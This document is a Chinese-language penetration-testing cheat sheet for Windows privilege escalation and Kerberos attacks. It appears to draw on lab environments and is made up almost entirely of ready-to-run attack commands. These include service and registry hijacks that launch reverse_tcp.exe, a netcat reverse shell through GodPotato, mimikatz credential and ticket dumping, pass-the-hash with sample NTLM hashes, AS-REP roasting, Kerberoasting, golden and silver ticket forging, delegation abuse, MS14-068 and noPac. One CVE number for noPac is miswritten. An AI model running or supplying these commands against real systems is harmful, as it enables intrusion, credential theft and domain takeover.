内网渗透权限提升&Kerberos渗透攻击详细使用
字数 736 2025-08-22 12:22:42
Windows内网渗透权限提升与Kerberos攻击技术详解
一、权限提升技术
1. 系统内核漏洞提权
步骤:
- 获取系统信息:
systeminfo > sysinfo.txt - 使用WES-NG工具检测漏洞:
python3 wes.py --update python3 wes.py sysinfo.txt --impact "Elevation of Privilege" python3 wes.py systeminfo.txt --impact "Remote Code Execution"
2. 系统服务提权
不安全的服务权限
- 使用AccessChk检测服务权限:
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" * - 修改服务配置:
sc config InsproSvc binpath= "cmd.exe /k C:\Users\Public\reverse_tcp.exe" sc stop <service name> sc start <service name>
服务的注册表权限错误
- 检测注册表权限:
accesschk.exe /accepteula -uvwqk "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services - 修改注册表:
reg add HKLM\SYSTEM\CurrentControlSet\Services\RegSvc /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:\Users\Public\reverse_tcp.exe" /f
服务路径权限可控
- 检测目录权限:
accesschk.exe /accepteula /quv "C:\Program Files\Insecure Executables" - 替换二进制文件并重启
未引用的服务路径
- 枚举漏洞服务:
wmic service get DisplayName,PathName,StartMode | findstr /i /v "C:\Windows\\" | findstr /i /v """ - 检测目录权限并上传恶意程序
3. PowerUp提权
powershell.exe -nop -exec bypass
Import-Module .\PowerSploit.psm1
Invoke-AllChecks | Out-File -Encoding ASCII checks.txt
4. MSI安装策略提权
- 检查注册表:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated - 生成恶意MSI:
powershell -nop -exec bypass "IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Write-UserAddMSI"
5. 访问令牌操作
常规令牌窃取
mimikatz.exe "Privilege::Debug" "sekurlsa::tickets /export" "exit"
Potato家族提权
- Juicy Potato:
JuicyPotato.exe -t t -p "C:\inetpub\wwwroot\reverse_tcp.exe" -l 6666 -n 135 -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} - GodPotato:
GodPotato -cmd "cmd /c whoami" GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
6. MySQL UDF提权
- 检查条件:
show global variables like "secure%"; SHOW VARIABLES LIKE "%plugin%"; - 创建目录并上传DLL:
select 'xxx' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION'; SELECT payload内容 into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll'; - 创建函数并执行:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; select sys_eval('whoami');
二、Kerberos攻击技术
1. AS_REQ&AS_REP阶段攻击
域内用户枚举
proxychains ./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10
密码喷洒攻击
proxychains4 crackmapexec smb 172.22.9.1/24 -u user.txt -p pass.txt --continue-on-success 2>/dev/null
哈希传递攻击
- Mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:hack-my.com /ntlm:570a9a65db8fba761c1008a51d4c95ab" - Impacket:
python smbexec.py -hashes :570a9a65db8fba761c1008a51d4c95ab hack-my.com/administrator@10.10.10.19
AS_REP Roasting攻击
- 获取TGT:
proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/ -format hashcat - 破解:
hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$xxxxxxxxxxxxx' rockyou.txt
2. 黄金票据攻击
- 获取krbtgt哈希:
mimikatz.exe "Privilege::Debug" "lsadump::lsa /patch" "exit" - 生成黄金票据:
mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805/krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /user:administrator /ticket:gold.kirbi" - 使用票据:
kerberos::purge kerberos::ptt C:\Users\jack.0DAY\Desktop\gold.kirbi
3. TGS_REQ&TGS_REP阶段攻击
Kerberoasting攻击
- 获取服务票据:
proxychains4 python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/liupeng:fiAzGwEMgTY -outputfile hash.txt - 破解:
hashcat64.exe -m 13100 hash.txt rockyou.txt
白银票据攻击
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-God.god.org /rc4:78c403b6e04402158d26c5581f9e954b /service:cifs /user:saul666 /ptt
4. 委派攻击
非约束委派攻击
- 查找非约束委派用户:
AdFind.exe -b "DC=hack-my,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName - 强制域控连接:
spoolsample.exe DC01 WEB2016
约束委派攻击
- 查找约束委派机器:
AdFind.exe -b "DC=chu0,DC=time" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto - 使用Rubeus:
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:4250ef4c15bfeb685371970e1be00b85 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:base64的数据
基于资源的约束委派(RBCD)
- 创建机器账户:
addcomputer.py hack-my.com/Alice:'Alice123!' -computer-name TEST\$ -computer-pass 123456 -dc-host DC.hack-my.com -dc-ip 192.168.30.10 - 配置委派属性:
rbcd.py hack-my.com/Alice:'Alice123!' -dc-ip 192.168.30.10 -action write -delegate-to WIN2008-WEB\$ -delegate-from TEST\$ - 获取ST:
getST.py -dc-ip 192.168.30.10 -spn cifs/WIN2008-WEB.hack-my.com -impersonate Administrator hack-my.com/test\$:123456 export KRB5CCNAME=Administrator.ccache psexec.py -no-pass -k WIN2008-WEB.hack-my.com -dc-ip 192.168.30.10
5. PAC攻击
MS14-068
kekeo.exe "exploit::ms14068 /domain:hack-my.com /user:username /password:password /ptt" "exit"
NoPac (CVE-2021-4227 & CVE-2021-42287)
proxychains python3 noPac.py -use-ldap test.com/ceshi:'test!@#123' -dc-ip 10.0.10.5 -shell